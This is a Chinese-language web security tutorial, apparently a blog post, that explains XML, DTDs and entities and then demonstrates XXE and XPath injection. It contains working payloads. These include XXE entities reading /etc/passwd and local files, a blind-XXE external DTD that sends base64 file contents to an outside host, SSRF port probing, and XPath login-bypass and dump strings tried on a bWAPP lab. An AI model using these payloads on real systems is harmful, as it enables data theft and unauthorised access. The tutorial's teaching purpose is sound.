XML基础
众所周知,xml常用于数据存储和传输,文件后缀为 .xml;
它是可扩展标记语言(Extensible Markup Language,简称XML),是一种标记语言。
XML 被设计为传输和存储数据,其焦点是数据的内容。
1.为什么要使用XML
为了便于不用应用、不同平台之间的数据共享和通信。
如 windows 与linux 跨系统交互
网站与手机APP信息交互
订票软件与支付软件跨平台交互
2.XML代码解析
<?xml version="1.0" encoding="utf-8"?>
<note>
<to>chybeta</to>
<from>ph0en1x</from>
</note>
在上面代码中的第一行,定义XML的版本与编码。
在XML文档中,所有的元素都必须正确的嵌套,形成树形结构。并且整个XML文档中必须要有一 个根元素。如上代码,是整个文档的根元素。嵌套在note标签中的和则是 根的子元素。
同时,所有的XML元素都必须有关闭标签,这点不像html语法那样松散。如果缺失关闭标签,则会导致XML解析失败。
3.语法规则--dtd
文档类型定义(Document Type Definition)是一套为了进行程序间的数据交换而建立的关于标记符的语法规则。它是标准通用标记语言和 [1] 可扩展标记语言1.0 版规格的一部分,文档可根据某种DTD语法规则验证格式是否符合此规则。文档类型定义也可用做保证标准通用标记语言、可扩展标记语言文档格式的合法性,可 通过比较文档和文档类型定义文件来检查文档是否符合规范,元素和标签使用是否正确。文件实例提供应用程序一个数据交换的格式。使用各类文档类型定义是为了 让标准通用标记语言、可扩展标记语言文件能符合规定的数据交换标准,因为这样,不同的公司只需定义好标准文档类型定义,就都能依文档类型定义建立文档实 例,并且进行验证,如此就可以轻易交换数据,防止了实例数据定义不同等原因造成的数据交换障碍,满足了网络共享和数据交互。文档类型定义文件是一个美国信息交换标准代码文本文件。
参考资料:https://blog.csdn.net/yeoman92/article/details/53055749
4.实体
所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA CDATA)构成。这里着重介绍一下实体:实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体引用是对实体的引用。实体可在内部或外部进行声 明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的。
实体类型:XML实体分为四种:字符实体,命名实体,外部实体,参数实体。
5.文档类型声明
文档类型定义可定义合法的XML文档构建模块。
它使用一系列合法的元素来定义文档的结构。
★它可被成行地声明于 XML 文档中,也可作为一个外部引用。 //漏洞触发点
通过它,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过它,独立的团体可一致地使用某个标准的文档类型定义来交换数据。
而您的应用程序也可使用某个标准的文档类型定义来验证从外部接收到的数据。
您还可以使用它来验证您自身的数据。
内部声明
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 !DOCTYPE 声明中:
带有 DTD 的 XML 文档实例
<?xmlversion="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
以上 DTD 解释如下:
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
外部声明
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:
<?xmlversion="1.0"?>
<!DOCTYPE note SYSTEM"note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
note.dtd 文件:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
xml漏洞--XXE
1.漏洞产生的原因
XML文件的解析依赖libxml库,而libxml2.9以前的版本默认支持并开启了外部实体的引用,服务端解析
用户提交的xml文件时未对xml文件 引用的外部实体(含外部普通实体和外部参数实体)做合适的处理,并且实体的URL支持file://和php://等协议,攻击者可以在xml文件中声明 URI指向服务器本地的实体造成攻击。
2.xxe本地测试有回显读取文件
windows环境下 测试
PHP源代码
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
?>
正常用户提交代码
<?xml version="1.0" encoding="utf-8" ?>
<user>
<name>Striker666666666666</name>
<wechat>strikersb</wechat>
<public_wechat>sec_fe</public_wechat>
</user>
恶意代码构造(有回显)
<?xml version="1.0" encoding="utf-8" ?> //它定义 XML 的版本 (1.0) 和所使用的编码 )。
<!DOCTYPE a [ <!ENTITY aa SYSTEM "file:///D:/1.txt"> ]> //引用实体system中的file 读取文件。
<user> //根元素说明是用户的信息
<name>&b;</name>//名字,源代码中意为输出name标签里的数据,&b 将第二行中的b实体化。然后引用,利用file协议读取C盘下的txt文件
<wechat>strikersb</wechat>
<public_wechat>sec_fe</public_wechat>
<website>aaa</website>
</user>
linux 本地xml测试
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<name>&entityex;</name>
可以读取passwd。
如果要读取php文件,因为php、html等文件中有各种括号<,>,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。
本地测试利用的是云服务器,没有回显,未读取成功,linux下未测试成功。- -。
3.本地测试无回显注入读取文件
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://www.hackersb.cn/attack.dtd">
%dtd;
%mydata;
]>
其中attack.dtd的内容为:
<!ENTITY % all"<!ENTITY % mydata SYSTEM "http://www.hackersb.cn/?%file">" //base64加密之后然后带着参数访问,在日志中可以看到 编码之后的文件数据。
xml造成的ssrf注入
linux 本地ssrf测试
探测开放端口
利用nc 可本地测试是否能够连接
windows 本地ssrf探测内网端口测试
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>
&xxe;
</name>
</root>
开启报错,如果端口开放,则显示正常
如果端口关闭,则显示主机拒绝访问
Xpath注入
Xpath是类似SQL的一种从XML结构中搜索节点数据的语言(DSL),其注入放手就是构造完整可执行的DSL,本质与SQL注入一样。
简单理解
xpath就是在xml文件里找东西的。
可以这么理解,xml就是个类似数据库的东西
而xpath实际上就是数据库查询!
Xpath定义
XPath注入攻击是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知 识的情况下,通过XPath查询得到一个XML文档的完整内容。
xpath一般的危害为
越权查看xml数据库信息,
添加admin账户
绕过登录以admin身份登录 等
XPath注入攻击特点
XPath注入攻击利用两种技术,即XPath扫描和 XPath查询布尔化。通过该攻击,攻击者可以控制用来进行XPath查询的XML数据库。这种攻击可以有效地对付使用XPath查询(和XML数据库) 来执行身份验证、查找或者其它操作。XPath注入攻击同SQL注入攻击类似,但和SQL注入攻击相比较,XPath在以下方面具有优势。
(1) 广泛性。XPath注入攻击利用的是XPath语法,由于XPath是一种标准语言,因此只要是利用XPath语法的Web 应用程序如果未对输入的
XPath查询做严格的处理都会存在XPath注入漏洞,所以可能在所有的XPath实现中都包含有该弱点,这和SQL注入攻击有 很大区别。在SQL注入
攻击过程中根据数据库支持的SQL语言不同,注入攻击的实现可能不同。
(2) 危害性大。XPath语言几乎可以引用XML文档的所有部分,而这样的引用一般没有访问控制限制。但在SQL注入攻击中,一个“用户”的权限
可能被限制到 某一特定的表、列或者查询,而XPath注入攻击可以保证得到完整的XML文档,即完整的数据库。只要Web服务应用具有基本的
安全漏洞,即可构造针对 XPath应用的自动攻击。
xpath基本语法
表达式 描述
nodename 选取此节点的所有子节点。
/ 从根节点选取。
// 从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置。
. 选取当前节点。
.. 选取当前节点的父节点。
@ 选取属性。
路径表达式 结果
bookstore 选取 bookstore 元素的所有子节点。
/bookstore
选取根元素 bookstore。
注释:假如路径起始于正斜杠( / ),则此路径始终代表到某元素的绝对路径!
bookstore/book 选取属于 bookstore 的子元素的所有 book 元素。
//book 选取所有 book 子元素,而不管它们在文档中的位置。
bookstore//book 选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置。
//@lang 选取名为 lang 的所有属性。
通配符 描述
* 匹配任何元素节点。
@* 匹配任何属性节点。
node() 匹配任何类型的节点。
Xpath注入攻击原理
XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作,下面以登录验证中的模块为例,说明 XPath注入攻击的实现原理。
在Web 应用程序的登录验证程序中,一般有用户名(username)和密码(password) 两个参数,程序会通过用户所提交输入的用户名和密码来执行授权操作。若验证数据存放在XML文件中,其原理是通过查找user表中的用户名 (username)和密码(password)的结果来进行授权访问,
<users>
<user>
<firstname>Ben</firstname>
<lastname>Elmore</lastname>
<loginID>abc</loginID>
<password>test123</password>
</user>
<user>
<firstname>Shlomy</firstname>
<lastname>Gantz</lastname>
<loginID>xyz</loginID>
<password>123test</password>
</user>
但是,可以采用如下的方法实施注入攻击,绕过身份验证。如果用 户传入一个 login 和 password,例如 loginID = 'xyz' 和 password = '123test',则该查询语句将返回 true。但如果用户传入类似 ' or 1=1 or ''=' 的值,那么该查询语句也会得到 true 返回值,因为 XPath 查询语句最终会变成如下代码:
//users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''='']
这个字符串会在逻辑上使查询一直返回 true 并将一直允许攻击者访问系统。攻击者可以利用 XPath 在应用程序中动态地操作 XML 文档。攻击完成登录可以再通过XPath盲入技术获取最高权限帐号和其它重要文档信息。
bwapp测试
xpath常用语句 查询所有节点内容
Exp:score.php?user=vk'] | //* | //* ['
重点为:vk'] | //* | //* ['
一般用 //* 来匹配所有节点。这样一下子查出所有的信息!
为什么说xpath更像拼字游戏呢?
就在这了,你得完全拼上本来的查询语句,不然就会出错,而且这个还没有注释,不能像sql注入一样,用注释杀掉后面语句
首先单引号闭合前面,] 也是闭合前面
| 这个表示分别执行,有点像union select,这个符号前后的路径都去查询
//* 前面提到过,匹配所有节点
|//*[‘ 闭合后面
登陆框
这个登录界面访问权限是通过xpath去读取xml文件来实现的。
换句话说,你输入账号密码,他就把xml文件里的合法账号密码拿出来
和你填写的进行比对,如果一致就通过。
也可以使用万能密码 登录
'or'1'='1
'or'1'='1
即可登录成功
#查询
执行 genre=action'] | //* | //*[' &action=search
会出现报错
加括号
exp:genre=action')] | //* | //*[(' &action=search
危害 泄露所有节点的数据。
# XXE-CTF实战 #
1.[EIS-2018ctf挑战赛](https://shuaizhupeiqi.github.io/2018/11/16/2018%20%E9%AB%98%E6%A0%A1%E7%BD%91%E7%BB%9C%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E8%BF%90%E7%BB%B4%E6%8C%91%E6%88%98%E8%B5%9B/)
---